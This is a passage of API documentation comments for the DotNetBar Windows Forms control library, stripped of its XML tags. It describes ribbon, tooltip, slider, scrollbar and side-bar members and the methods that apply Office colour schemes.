GlobalManager.Renderer to all DotNetBar controls with Office 2007 style on all open forms. + + + + + Changes the Office 2007 color table for all DotNetBar controls on the form. You can use this function for example to + apply Black color scheme to all DotNetBar control on given form. The color table will be changed only for controls that + have Office 2007 style. Any other style will be unchanged. + + Form to apply color table to. + Color table to select and apply. + + + + Generates and Changes the Office 2007 color table for all DotNetBar controls on the form. You can use this function for example to + create custom color scheme based on the base color and apply it to all DotNetBar control on given form. The new color table will be applied only to controls that + have Office 2007 style. Any other style will be unchanged. + + Form to apply color table to. + Base color table to use for creation of custom color table that will be applied. + Base color used to create custom color table. + + + + Generates and Changes the Office 2007 color table for all DotNetBar controls on all open forms. You can use this function for example to + create custom color scheme based on the base color and apply it to all DotNetBar control on given form. The new color table will be applied only to controls that + have Office 2007 style. Any other style will be unchanged. + + Base color table to use for creation of custom color table that will be applied. + Base color used to create custom color table. + + + + Applies current Office 2007 style color table to all DotNetBar controls on the form. + + Reference to the form or parent control that contains DotNetBar controls you would like to apply color table to. + + + + Changes style for all controls on Application.OpenForms to specified style. Use this method to change the style for all controls to Office 2007 or Office 2010 styles only. + + New style to assign to controls on forms. + + + + Changes style for all controls on Application.OpenForms to specified style. Use this method to change the style for all controls to Office 2007 or Office 2010 styles only. + + New style to assign to controls on forms. + Color used to blend with the base color scheme. + + + + Changes style for all controls on a form to specified style. Use this method to change the style for all controls to Office 2007 or Office 2010 styles only. + + New style to assign to controls. + Form or Control to process. + + + + Changes style for all controls on a form to specified style. Use this method to change the style for all controls to Office 2007 or Office 2010 styles only. + + New style to assign to controls. + Form or Control to process. + Color used to blend with the base color scheme. + + + + Changes the Office 2010 color table for all DotNetBar controls on the form. You can use this function for example to + apply Black color scheme to all DotNetBar control on given form. The color table will be changed only for controls that + have Office 2007 and 2010 style. Any other style will be unchanged. + + Form to apply color table to. + Color table to select and apply. + + + + Generates and Changes the Office 2010 color table for all DotNetBar controls on the form. You can use this function for example to + create custom color scheme based on the base color and apply it to all DotNetBar control on given form. The new color table will be applied only to controls that + have Office 2007 and 2010 style. Any other style will be unchanged. + + Form to apply color table to. + Base color table to use for creation of custom color table that will be applied. + Base color used to create custom color table. + + + + Generates and Changes the Office 2010 color table for all DotNetBar controls on all open forms. You can use this function for example to + create custom color scheme based on the base color and apply it to all DotNetBar control on given form. The new color table will be applied only to controls that + have Office 2007 and 2010 style. Any other style will be unchanged. + + Base color table to use for creation of custom color table that will be applied. + Base color used to create custom color table. + + + + Changes the Windows 7 color table for all DotNetBar controls on the form. You can use this function for example to + apply Black color scheme to all DotNetBar control on given form. The color table will be changed only for controls that + have Windows 7, Office 2007, 2010 style. Any other style will be unchanged. + + Form to apply color table to. + Color table to select and apply. + + + + Generates and Changes the Windows 7 color table for all DotNetBar controls on the form. You can use this function for example to + create custom color scheme based on the base color and apply it to all DotNetBar control on given form. The new color table will be applied only to controls that + have Windows 7, Office 2007 and 2010 style. Any other style will be unchanged. + + Form to apply color table to. + Base color table to use for creation of custom color table that will be applied. + Base color used to create custom color table. + + + + Generates and Changes the Windows 7 color table for all DotNetBar controls on all open forms. You can use this function for example to + create custom color scheme based on the base color and apply it to all DotNetBar control on given form. The new color table will be applied only to controls that + have Windows 7, Office 2007 and 2010 style. Any other style will be unchanged. + + Base color table to use for creation of custom color table that will be applied. + Base color used to create custom color table. + + + + Defines the Ribbon Quick Access Overflow system item. Used internally by Ribbon control. + + + + + Returns copy of DisplayMoreItem item + + + + + Overriden. Draws the item. + + Target Graphics object. + + + + Returns the insertion index for the items removed from overflow popup. Assumes that right-most items are removed first by the layout manager. + + + + + + Represents RibbonStrip control internally used by RibbonControl. + + + + + Occurs when text markup link is clicked. + + + + + Resets DefaultGroupFont property to default value null. + + + + + Returns automatically calculated height of the control given current content. + + Height in pixels. + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + Indicates whether GlobalName property is used for searching. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Called when ShowKeyTips on RibbonBar contained by this Ribbon is set to true + + + + + Forces the control to exit Ribbon Key-Tips mode. + + + + + Called when item on popup container is right-clicked. + + Instance of the item that is right-clicked. + + + + Returns true if point is inside the caption area. + + Client point coordinates. + True if point is inside of caption area otherwise false. + + + + Occurs when text markup link from TitleText markup is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets or sets whether RibbonStrip control employs the Windows Vista Glass support when available. This is managed automatically by Ribbon Control and + no setting is necessary on your part. + + + + + + Gets reference to parsed markup body element if text was markup otherwise returns null. + + + + + Gets or sets whether KeyTips functionality is enabled. Default value is true. + + + + + Gets or sets whether control can be customized and items added by end-user using context menu to the quick access toolbar. + Caption of the control must be visible for customization to be enabled. Default value is true. + + + + + Gets or sets the explicit height of the caption provided by control. Caption height when set is composed of the TabGroupHeight and + the value specified here. Default value is 0 which means that system default caption size is used. + + + + + Gets or sets whether custom caption line provided by the control is visible. Default value is false. + This property should be set to true when control is used on Office2007RibbonForm. + + + + + Gets or sets the font for the form caption text when CaptionVisible=true. Default value is NULL which means that system font is used. + + + + + Gets or sets the indent of the ribbon strip. The indent setting is useful when control is used with caption visible and the Office 2007 + style start button. The indent specified here will move the ribbon strip so the start button does not overlap the tabs. + Value of this property is used only when CaptionVisible = true. + Default value is 46. + + + + + Gets or sets the height in pixels of tab group line that is displayed above the RibbonTabItem objects that have group assigned. + Default value is 14 pixels. To show tab groups you need to assign the RibbonTabItem.Group property and set TabGroupsVisible=true. + + + + + Gets or sets whether tab group line that is displayed above the RibbonTabItem objects that have group assigned is visible. + Default value is false. To show tab groups you need to assign the RibbonTabItem.Group property and set TabGroupsVisible=true. Use TabGroupHeight + property to control height of the group line. + + + + + Collection of RibbonTabItemGroup items. Groups are assigned optionally to one or more RibbonTabItem object through the RibbonTabItem.Group + property to visually group tabs that belong to same functions. These tabs should be positioned next to each other. + + + + + Gets/Sets the visual style of the control. + + + + + Returns collection of items on a bar. + + + + + Returns currently selected RibbonTabItem. RibbonTabItems are selected using the Checked property. Only a single + RibbonTabItem can be Checked at any given time. + + + + + Gets or set whether TabGroup painting is suspended. + + + + + Gets or sets default font for tab groups. This font will be used if font is not specified by group style element. + + + + + Gets or sets whether control is collapsed when RibbonTabItem is double clicked and expanded when RibbonTabItem is clicked. + + + + + Gets or sets whether control is collapsed when RibbonTabItem is double clicked and expanded when RibbonTabItem is clicked. + + + + + Gets or sets whether F10 key is ignored as way to set KeyTips focus to Ribbon. + + + + + Gets whether Ribbon is in key-tips mode including its child controls. + + + + + Returns collection of items on a bar. + + + + + Gets the reference to the internal container item for the items displayed in control caption. + + + + + Gets the reference to the internal container for the ribbon tabs and other items. + + + + + Defines the internal container item for the ribbon strip control. + + + + + Creates new instance of the class and initializes it with the parent RibbonStrip control. + + Reference to parent RibbonStrip control + + + + Paints this base container + + + + + Returns copy of GenericItemContainer item + + + + + Return Sub Item at specified location + + + + + Gets whether Metro Backstage application menu is open. + + + + + Gets reference to internal ribbon strip container that contains tabs and/or other items. + + + + + Gets reference to internal caption container item that contains the quick toolbar, start button and system caption item. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + When parent items does recalc size for its sub-items it should query + image size and store biggest image size into this property. + + + + + Provides data for RenderRibbonTabGroup event. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets or sets RibbonTabItemGroup being rendered. + + + + + Gets or sets the bounds of the tab group. Bounds specified here are bounds of the tab group title. GroupBounds contains the bounds + that include all tabs that belong to the tab group. + + + + + Gets or sets the font that should be used to render group text. + + + + + Gets or sets group bounds including the tabs that belong to the group. + + + + + Gets or sets the effective style for the group. + + + + + Gets whether Windows Vista glass is enabled. + + + + + Represents Rendering Tab used on RibbonControl. + + + + + Selects the tab. + + + + + Resets Group property to default value null. + + + + + Called after Checked property has changed. + + + + + Occurs just before Click event is fired. + + + + + Occurs when the item is clicked. This is used by internal implementation only. + + + + + Called when Visibility of the items has changed. + + New Visible state. + + + + Occurs after item visual style has changed. + + + + + Gets or sets whether tab renders its state. Used internally by DotNetBar. Do not set. + + + + + Gets or sets the additional padding added around the tab item in pixels. Default value is 0. + + + + + Gets or sets whether size of the tab has been reduced below the default calculated size. + + + + + Gets or sets the predefined color of item. Color specified here applies to items with Office 2007 style only. It does not have + any effect on other styles. Default value is eRibbonTabColor.Default + + + + + Gets or sets the group this tab belongs to. Groups are optional classification that is used to + visually group tabs that belong to same functions. These tabs should be positioned next to each other. + + + + + Gets or sets the panel assigned to this ribbon tab item. + + + + + Gets or set the Group item belongs to. The groups allows a user to choose from mutually exclusive options within the group. The choice is reflected by Checked property. + + + + + Returns the collection of sub items. + + + + + Indicates whether the item will auto-collapse (fold) when clicked. + When item is on popup menu and this property is set to false, menu will not + close when item is clicked. + + + + + Indicates whether the item will auto-expand when clicked. + When item is on top level bar and not on menu and contains sub-items, sub-items will be shown only if user + click the expand part of the button. Setting this propert to true will expand the button and show sub-items when user + clicks anywhere inside of the button. Default value is false which indicates that button is expanded only + if its expand part is clicked. + + + + + Gets or sets whether item can be customized by end user. + + + + + Gets or set a value indicating whether the button is in the checked state. + + + + + Gets or sets whether Click event will be auto repeated when mouse button is kept pressed over the item. + + + + + Gets or sets the auto-repeat interval for the click event when mouse button is kept pressed over the item. + + + + + Gets or sets a value indicating whether the item is enabled. + + + + + Indicates item's visiblity when on pop-up menu. + + + + + Indicates when menu items are displayed when MenuVisiblity is set to VisibleIfRecentlyUsed and RecentlyUsed is true. + + + + + Indicates Animation type for Popups. + + + + + Indicates the font that will be used on the popup window. + + + + + Indicates whether sub-items are shown on popup Bar or popup menu. + + + + + Specifies the inital width for the Bar that hosts pop-up items. Applies to PopupType.Toolbar only. + + + + + Gets or sets whether item will display sub items. + + + + + Gets or sets whether the item expands automatically to fill out the remaining space inside the container. Applies to Items on stretchable, no-wrap Bars only. + + + + + Gets or sets the width of the expand part of the button item. + + + + + Gets or set the alternative shortcut text. + + + + + Gets or sets whether item separator is shown before this item. + + + + + Returns category for this item. If item cannot be customzied using the + customize dialog category is empty string. + + + + + Gets or sets the text color of the button when mouse is over the item. + + + + + Indicates the way item is painting the picture when mouse is over it. Setting the value to Color will render the image in gray-scale when mouse is not over the item. + + + + + Gets or sets the text color of the button. + + + + + Represents a group RibbonTabItem objects are assigned to. + + + + + Selected first tab that is part of this group. + + + + + Gets or sets the predefined color of the group. Color specified here applies to groups with Office 12 style only. It does not have + any effect on other styles. Default value is eRibbonTabGroupColor.Default + + + + + Gets or sets the custom color name. Name specified here must be represented by the coresponding object with the same name that is part + of the Office2007ColorTable.RibbonTabGroupColors collection. See documentation for Office2007ColorTable.RibbonTabGroupColors for more information. + If color table with specified name cannot be found default color will be used. Valid settings for this property override any + setting to the Color property. + + + + + Gets the style for tab group. + + + + + Gets or sets title of the group that will be displayed when group is visually represented. + + + + + Gets or sets parent ribbon strip for this group. + + + + + Gets or sets whether RibbonTabItem objects that belong to this group are visible. Setting this property will + show/hide all RibbonTabItem objects that are assigned to this group through RibbonTabItem.Group property. + + + + + Gets whether any tab from this tab group is selected. + + + + + Gets or sets name of the group that can be used to identify item from the code. + + + + + Gets an array of Rectangle objects that describe the visual position on the ribbon control of the group titles displayed. + If tabs that belong to a tab group are not next to each other then there will be multiple rectangle returned as part of the array + for each tab group that is apart. + + + + + Collection of RibbonTabItemGroup objects. + + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Adds new objects to the collection. + + Array of groups to add. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the RibbonTabItemGroup array. + + Array to copy to. + + + + Returns reference to the object in collection based on it's index. + + + + + Returns reference to the object in collection based on it's name. + + + + + Provides data for ButtonItem rendering. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets the reference to ButtonItem instance being rendered. + + + + + Reference to internal data. + + + + + Creates new instance of the object. + + + + + Creates new instance of the object and initializes it with default values + + Reference to Graphics object. + Reference to ButtonItem object. + + + + Creates new instance of the object and initializes it with default values + + Reference to Graphics object. + Reference to ButtonItem object. + + + + Summary description for SimpleElement. + + + + + Summary description for SimpleElementLayout. + + + + + Indicates absolute vertical alignment of the content. + + + + + Content is aligned to the top + + + + + Content is aligned in the middle + + + + + Content is aligned at the bottom + + + + + Indicates absolute horizontal alignment + + + + + Content is left aligned + + + + + Content is centered + + + + + Content is right aligned + + + + Indicates alignment of a part of the cell like image or check box in relation to the text. + + + + Part is aligned to the left center of the text assuming left-to-right + orientation. + + + + + Part is aligned to the right center of the text assuming left-to-right + orientation. + + + + + Part is aligned to the top left of the text assuming left-to-right + orientation. + + + + Part is aligned above the text and centered. + + + + Part is aligned to the top right of the text assuming left-to-right + orientation. + + + + + Part is aligned to the bottom left of the text assuming left-to-right + orientation. + + + + Part is aligned below the text and centered. + + + + Part is aligned to the bottom right of the text assuming left-to-right + orientation. + + + + + Summary description for SimpleNodeDisplay. + + + + + Represents information neccessary to paint the cell on canvas. + + + + + Represents the slider item which allows you to select a value from predefined range. + + + + + Creates new instance of SliderItem. + + + + + Creates new instance of SliderItem and assigns the name to it. + + Item name. + + + + Creates new instance of SliderItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the SliderItem specific properties to new instance of the item. + + New SliderItem instance. + + + + Copies the SliderItem specific properties to new instance of the item. + + New SliderItem instance. + + + + Raises the IncreaseButtonClick event. + + Provides event arguments + + + + Raises the DecreaseButtonClick event. + + Provides event arguments + + + + Returns the Font object to be used for drawing the item text. + + Font object. + + + + Advances the current position of the slider by the amount of the Step property. + + + + + Advances the current position of the slider by the amount of the Step property. + + + + + Advances the current position of the slider by the specified amount. + + The amount by which to increment the sliders current position. + + + + Advances the current position of the slider by the specified amount. + + The amount by which to increment the sliders current position. + + + + Raises the ValueChanged event. + + + + + Raises the ValueChanged event. + + + + + Raises the ValueChanging event. + + + + + Returns whether property should be serialized. Used by Windows Forms designer. + + + + + Resets the property to default value. Used by Windows Forms designer. + + + + + Occurs after Value property has changed. + + + + + Occurs before Value property has changed. + + + + + Occurs when Increase button is clicked using mouse. + + + + + Occurs when Decrease button is clicked using mouse. + + + + + Gets or sets the slider mouse over part. + + + + + Gets or sets the slider part that mouse is pressed over. This property should not be modified and it is for internal usage only. + + + + + Returns the label bounds inside of the control. + + + + + Gets or sets the text associated with this item. + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Gets or sets the maximum value of the range of the control. + + + + + Gets or sets the minimum value of the range of the control. + + + + + Gets or sets the current position of the slider. + + + + + Gets or sets the amount by which a call to the PerformStep method increases the current position of the slider. Value must be greater than 0. + + + + + Gets or sets whether the text label next to the slider is displayed. + + + + + Gets or sets the width of the slider part of the item in pixels. Value must be greater than 0. Default value is 136. + + + + + Gets or sets the width of the label part of the item in pixels. Value must be greater than 0. Default value is 38. + + + + + Gets or sets the text label position in relationship to the slider. Default value is Left. + + + + + Gets or sets whether Click event will be auto repeated when mouse button is kept pressed over the item. + + + + + Gets or sets the auto-repeat interval for the click event when mouse button is kept pressed over the item. + + + + + Gets or sets whether vertical line track marker is displayed on the slide line. Default value is true. + + + + + Gets or sets the color of the label text. + + + + + Gets or sets the Key Tips access key or keys for the item when on Ribbon Control or Ribbon Bar. Use KeyTips property + when you want to assign the one or more letters to be used to access an item. For example assigning the FN to KeyTips property + will require the user to press F then N keys to select an item. Pressing the F letter will show only keytips for the items that start with letter F. + + + + + Gets or sets the collection of shortcut keys associated with the item. + + + + + Gets or sets whether item will display sub items. + + + + + Specifies whether item is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Gets or sets whether the item expands automatically to fill out the remaining space inside the container. Applies to Items on stretchable, no-wrap Bars only. + + + + + Gets or sets the tooltip for the Increase button of the slider. + + + + + Gets or sets the tooltip for the Decrease button of the slider. + + + + + Gets or sets the slider orientation. Default value is horizontal. + + + + + Gets or sets the custom color table for the item. Color table here will override all system color table settings. + + + + + Indicates spacing for an user interface element either padding or margins. + + + + + Gets or sets the amount of the space on the left side. + + + + + Gets or sets the amount of the space on the right side. + + + + + Gets or sets the amount of the space on the top. + + + + + Gets or sets the amount of the space on the bottom. + + + + + Gets total horizontal spacing. + + + + + Gets total vertical spacing. + + + + + Gets whether all memebers of class are set to 0. + + + + + Summary description for SubItemsCollection. + + + + + Sorts the items in the collection using the built in IComparable on each item which sorts items by the Text property. + + + + + Sorts the items in the collection using specified comparer. + + Comparer to use for item sorting. + + + + Gets whether MinimumTooltipSize property should be serialized. + + + + + Retrieves SuperTooltipInfo for given component or return null if component does not have tooltip associated with it. + + + + + Associates SuperTooltipInfo with given component. + + Reference to supported component. + Instance of SuperTooltipInfo class. If null is passed the SuperTooltip is detached from the given component. + + + + Raises the MarkupLinkClick event. + + + + + Shows SuperTooltip for given object that has been registered using SetSuperTooltip method at specific location on the screen. + + Object to show tooltip for. Object must be registered using SetSuperTooltip method before tooltip is shown for it. + Specifies the explicit position of the SuperTooltip in screen coordinates. + + + + Shows SuperTooltip for given object that has been registered using SetSuperTooltip method. + + Object to show tooltip for. Object must be registered using SetSuperTooltip method before tooltip is shown for it. + + + + Shows SuperTooltip for given object that has been registered using SetSuperTooltip method. + + Object to show tooltip for. Object must be registered using SetSuperTooltip method before tooltip is shown for it. + + + + Raises the TooltipClosed event. + + Provides event arguments. + + + + Hides tooltip if it is visible. + + + + + Resets Hoover timer. + + + + + Occurs just before tooltip is displayed and gives you opportunity to cancel showing of tooltip. + + + + + Occurs after tooltip has been closed. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets or sets the maximum width of the super tooltip. Default value is 0 which indicates that maximum width is not used. The maximum width property + will not be used if custom size is specified. + + + + + Gets or sets whether form active state is ignored when control is deciding whether to show tooltip. By default this property is set to false + which indicates that tooltip will be shown only if parent form is active. When set to true the form active state is ignored when + deciding whether to show tooltip. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is true. + + + + + Gets or sets whether SuperTooltip will be shown for the controls assigned to it. Default value is true. You can set + this property to false to disable SuperTooltip for all controls assigned to it. + + + + + Gets or sets whether tooltip is shown immediately after the mouse enters the control. The default value is false which indicates + that tooltip is shown after system hover timeout has expired which provides slight delay before tooltip is shown. + + + + + Gets or sets the minimum tooltip size. Default value is 150 width and 24 height. + + + + + Gets or sets the duration in seconds that tooltip is kept on screen after it is displayed. Default value is 20 seconds. + You can set this value to 0 to keep tooltip displayed until user moves mouse out of control or application loses focus. + + + + + Gets or sets the delay time for hiding the tooltip in milliseconds after + mouse has left the control. Default value is 0 which means that tooltip will be + hidden as soon as mouse leaves the control tooltip was displayed for. You can use + this property to provide the user with enough time to move the mouse cursor to the + tooltip so user can act on the content of the tooltip, like hyper links. + + + + + Gets or sets whether tooltip position is checked before tooltip is displayed and adjusted to tooltip always + falls into screen bounds. Default value is true. + + + + + Gets or sets whether tooltip position is checked before tooltip is displayed and adjusted so tooltip does not overlaps the + control it is displayed for. Default value is true. + + + + + Gets or sets the tooltip position in relationship to the control tooltip is providing information for. + Set this property to false if you want tooltip to be displayed below the mouse cursor. Default value is + true which indicates that tooltip is displayed below mouse cursor but it is positioned below the control + that it provides the information for so it is not covering its content. + + + + + Gets or sets default setting for new Tooltips you create in design time. If all your tooltips have common elements + you can change this property to reflect these default setting before you start writing tooltips for all controls on the form. + As you start creating new tooltips for controls on the form default values specified here will be used as starting values + for new tooltip you are creating. + + + + + Returns instance of default tooltip information used in design-time. + + + + + Gets the reference to internal Hashtable that contains reference to all controls and assigned SuperTooltips. This + collection must not be modified directly and it is automatically managed by the SuperTooltip component. You can use it + for example to change the color for all SuperTooltips managed by the component but you should not add or remove items to it. + Instead use SetSuperTooltip methods to add or remove the tooltip for a component. + + + + + Gets or sets the hover delay multiplier which controls how fast tooltip appears. The value set here indicates + how many hover events are needed to occur before the tooltip is displayed. + + + + + Returns whether tooltip is visible. + + + + + Gets reference to instance of tooltip control if any has been created at the time call is made. + + + + + Gets or sets default tooltip font. Default value is null which means that default system font is used. + + + + + Gets or sets whether complete tooltip is shown including header, body and footer. Default value is true. When set to false only tooltip header will be shown. + Providing this option to your end users as part of your application setting allows them to customize the level of information displayed and reduce it after they are familiar with your product. + + + + + Gets or sets whether tooltip is shown when control that tooltip is assigned to is focused. You can set this value to false to disable Tooltip display when control receives input focus. Default value is true. + + This property is effective only when Super Tooltip is assigned to the controls that inherit from System.Windows.Forms.Control class and it relies on Focused property of respective control for proper function. + + + + Provides information about SuperTooltip attached to a component. + + + + + Creates new instance of the class. + + + + + Creates new instance of the class with specified parameters. + + + + + Creates new instance of the class with specified parameters. + + + + + Returns whether property should be serialized. + + + + + Gets or sets whether tooltip header text is visible or not. Default value is true. + + + + + Gets or sets whether tooltip footer text is visible or not. Default value is true. + + + + + Gets or sets the header text. + + + + + Gets or sets the footer text. + + + + + Gets or sets body text. + + + + + Gets or sets body image displayed to the left of body text. + + + + + Gets or sets footer image displayed to the left of footer text. + + + + + Gets or sets the custom size for tooltip. Default value is 0,0 which indicates that tooltip is automatically + resized based on the content. + + + + + Gets or sets predefined tooltip color. + + + + + Extensibility interface that custom components may implement + so SuperTooltip can be provided for them. + + + + + This event should be triggered by the component when it wants to display SuperTooltip. Normally + this event would be equivalent of MouseHover event but you can trigger it in response to anything else. + Sender for this event must be object that implements ISuperTooltipInfoProvider interface. + + + + + This event should be triggered by component when it wants to hide SuperTooltip. For example this event + might be triggered when mouse leaves your component. Sender of this event must be object that implements ISuperTooltipInfoProvider interface. + + + + + Returns rectangle of the visible area of the component in screen coordinates. This rectangle is used + to position SuperTooltip on the screen. + + + + + Delegate for SuperTooltip events. + + + + + Represents event arguments for PanelChanging event. + + + + + Set to true to cancel display of tooltip. + + + + + Object that has triggered displaying of tooltip + + + + + Information that will be used to populate tooltip. + + + + + Location where tooltip will be displayed. You can change the location here to display tooltip at different position. + + + + + Indicates the tooltip size, read-only and valid only if tooltip position is checked on screen. + + + + + Default constructor. + + + + + Represents SuperTooltipControl. + + + + + Default constructor. + + + + + Paints insides of the control. + + Paint event arguments. + + + + Recalculates and set size of the control based on the content that is made available to it. + + + + + Calculates the tooltip height based on the specified width. + + Tooltip width + Size of the tooltip based on specified width. + + + + Shows tooltip at specified screen coordinates. + + X coordinate + Y coordinate + Indicates whether to enforce the screen position of tooltip if tooltip falls out of screen bounds. + + + + Updates the popup shadow size and position if shadow is visible. + + + + + Gets or sets whether complete tooltip is shown including header, body and footer. Default value is true. When set to false only tooltip header will be shown. + Providing this option to your end users as part of your application setting allows them to customize the level of information displayed and reduce it after they are familiar with your product. + + + + + Gets or sets the maximum width of the super tooltip. Default value is 0 which indicates that maximum width is not used. The maximum width property + will not be used if custom size is specified. + + + + + Gets or sets the minimum tooltip size. Default value is 150, 50 + + + + + Gets or sets image used next to body text. + + + + + Gets or sets image used next to footer text. + + + + + Gets or sets text displayed in header of tooltip + + + + + Gets or sets whether header in tooltip is visible. Default value is true. + + + + + Gets or sets text displayed in footer of the tooltip + + + + + Gets or sets whether footer in tooltip is visible. Default value is true. + + + + + Gets or sets whether line above footer text is drawn to separate footer from body text. Default value is true. + + + + + Gets or sets whether mouse click on super tooltip will activate it, make it active window. Default value is true. + + + + + Gets or sets whether tooltip control is popup tooltip or standard control. Default is false which means tooltip is popup style. + + + + + Represents class that holds padding information for user interface elements. + + + + + Gets or sets padding on left side. Default value is 0 + + + + + Gets or sets padding on right side. Default value is 0 + + + + + Gets or sets padding on top side. Default value is 0 + + + + + Gets or sets padding on bottom side. Default value is 0 + + + + + Creates new instance of the class and initializes it. + + Padding for all sides + + + + Creates new instance of the class and initializes it. + + Left padding + Right padding + Top padding + Bottom padding + + + + Raises the PropertyChanged event. + + Event arguments + + + + Gets amount of Top padding + + + + + Gets amount of Left padding + + + + + Gets amount of Bottom padding + + + + + Gets amount of Right padding + + + + + Gets amount of horizontal padding (Left+Right) + + + + + Gets amount of vertical padding (Top+Bottom) + + + + + Gets whether Padding is empty. + + + + + Gets or sets the padding for all sides. + + + + + Occurs when property value has changed. + + + + + Summary description for ThemedButtonItemPainter. + + + + + Provides data for toolbar rendering. + + + + + Gets or sets the reference to Bar object being rendered + + + + + Gets or sets Graphics object bar is rendered on. + + + + + Gets the bounds of the region that should be rendered. + + + + + Reference to internal data. + + + + + Creates new instance of the object and initializes it with default data. + + Reference to bar object. + Reference to Graphics object. + + + + Describes the round rectangle shape. + + + + + Initializes a new instance of the RoundCornerDescriptor class. + + + + + Initializes a new instance of the RoundCornerDescriptor class. + + + + + Initializes a new instance of the RoundCornerDescriptor class. + + + + + + + + + Gets or sets the top-left round corner size. + + + + + Gets or sets the top-right round corner size. + + + + + Gets or sets the bottom-left round corner size. + + + + + Gets or sets the bottom-right round corner size. + + + + + Gets whether all corner size values are set to zero which results in no rounded corners. + + + + + Gets whether all corner size values are set to same value. + + + + + Represents DocumentDockContainer object converter. + + + + + Initializes a new instance of the ScrollBarAdv class. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Gets whether scrollbar is vertical. + + true if scrollbar is vertical otherwise false for horizontal scrollbar + + + + Raises the Scroll event. + + Provides Event arguments. + + + + Raises the ValueChanged event. + + Provides Event arguments. + + + + Called when Command property value changes. + + + + + Occurs when the Value property is changed, either by a Scroll event or programmatically. + + + + + Occurs when the scroll box has been moved by either a mouse or keyboard action. + + + + + Gets or sets a value to be added to or subtracted from the Value property when the scroll box is moved a large distance. + A numeric value. The default value is 10. + ArgumentOutOfRangeException is raised if assigned value is less than 0. + + + + + Gets or sets the upper limit of values of the scrollable range. + A numeric value. The default value is 100. + + + + + Gets or sets the lower limit of values of the scrollable range. + A numeric value. The default value is 0. + + + + + Gets or sets the value to be added to or subtracted from the Value property when the scroll box is moved a small distance. + A numeric value. The default value is 1. + ArgumentOutOfRangeException is raised if assigned value is less than 0. + + + + + Gets or sets a numeric value that represents the current position of the scroll box on the scroll bar control. + A numeric value that is within the Minimum and Maximum range. The default value is 0. + ArgumentOutOfRangeException is raised if assigned value is less than the Minimum property value or assigned value is greater than the Maximum property value. + + + + + Gets or sets the scroll bar appearance style. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Summary description for ScrollButton. + + + + + Clean up any resources being used. + + + + + Represents class that provides shadows to elements. + + + + + Creates new instance of shadow painter. + + + + + Represents class that provides display context for shadow painter. + + + + + Summary description for ShortcutList. + + + + + Represents the Outlook like Side-bar Control. + + + + + Creates new instance of side bar control. + + + + + Clean up any resources being used. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Raises ItemLayoutUpdated event. + + Provides event arguments. + + + + Invokes ItemDoubleClick event. + + Reference to item double-clicked + Event arguments + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Invokes the DotNetBar Customize dialog. + + + + + Invokes SerializeItem event. + + Provides data for the event. + + + + Invokes DeserializeItem event. + + Provides data for the event. + + + + Loads the Side bar definition from file. + + Definition file name. + + + + Saves the Side bar definition to file. + + Definition file name. + + + + Occurs when Checked property of an button has changed. + + + + + Occurs when Item is clicked. + + + + + Occurs when Item is clicked. + + + + + Occurs when popup of type container is loading. + + + + + Occurs when popup of type container is unloading. + + + + + Occurs when popup item is about to open. + + + + + Occurs when popup item is closing. + + + + + Occurs just before popup window is shown. + + + + + Occurs when Item Expanded property has changed. + + + + + Occurs when mouse button is pressed. + + + + + Occurs when mouse button is released. + + + + + Occurs when mouse enters the item. + + + + + Occurs when mouse leaves the item. + + + + + Occurs when mouse moves over the item. + + + + + Occurs when mouse remains still inside an item for an amount of time. + + + + + Occurs when item loses input focus. + + + + + Occurs when item receives input focus. + + + + + Occurs when user changes the item position, removes the item, adds new item or creates new bar. + + + + + Occurs after an Item is removed from SubItemsCollection. + + + + + Occurs after an Item has been added to the SubItemsCollection. + + + + + Occurs when ControlContainerControl is created and contained control is needed. + + + + + Occurs when Text property of an Item has changed. + + + + + Use this event if you want to serialize the hosted control state directly into the DotNetBar definition file. + + + + + Use this event if you want to deserialize the hosted control state directly from the DotNetBar definition file. + + + + + Occurs after DotNetBar definition is loaded. + + + + + Occurs before an item in option group is checked and provides opportunity to cancel that. + + + + + Occurs before tooltip for an item is shown. Sender could be the BaseItem or derived class for which tooltip is being displayed or it could be a ToolTip object itself it tooltip is not displayed for any item in particular. + + + + + Occurs after an item has been serialized to XmlElement and provides you with opportunity to add any custom data + to serialized XML. This allows you to serialize any data with the item and load it back up in DeserializeItem event. + + + To serialize custom data to XML definition control creates handle this event and use CustomXmlElement + property on SerializeItemEventArgs to add new nodes or set attributes with custom data you want saved. + + + + + Occurs after an item has been de-serialized (load) from XmlElement and provides you with opportunity to load any custom data + you have serialized during SerializeItem event. + + + To de-serialize custom data from XML definition handle this event and use CustomXmlElement + property on SerializeItemEventArgs to retrive any data you saved 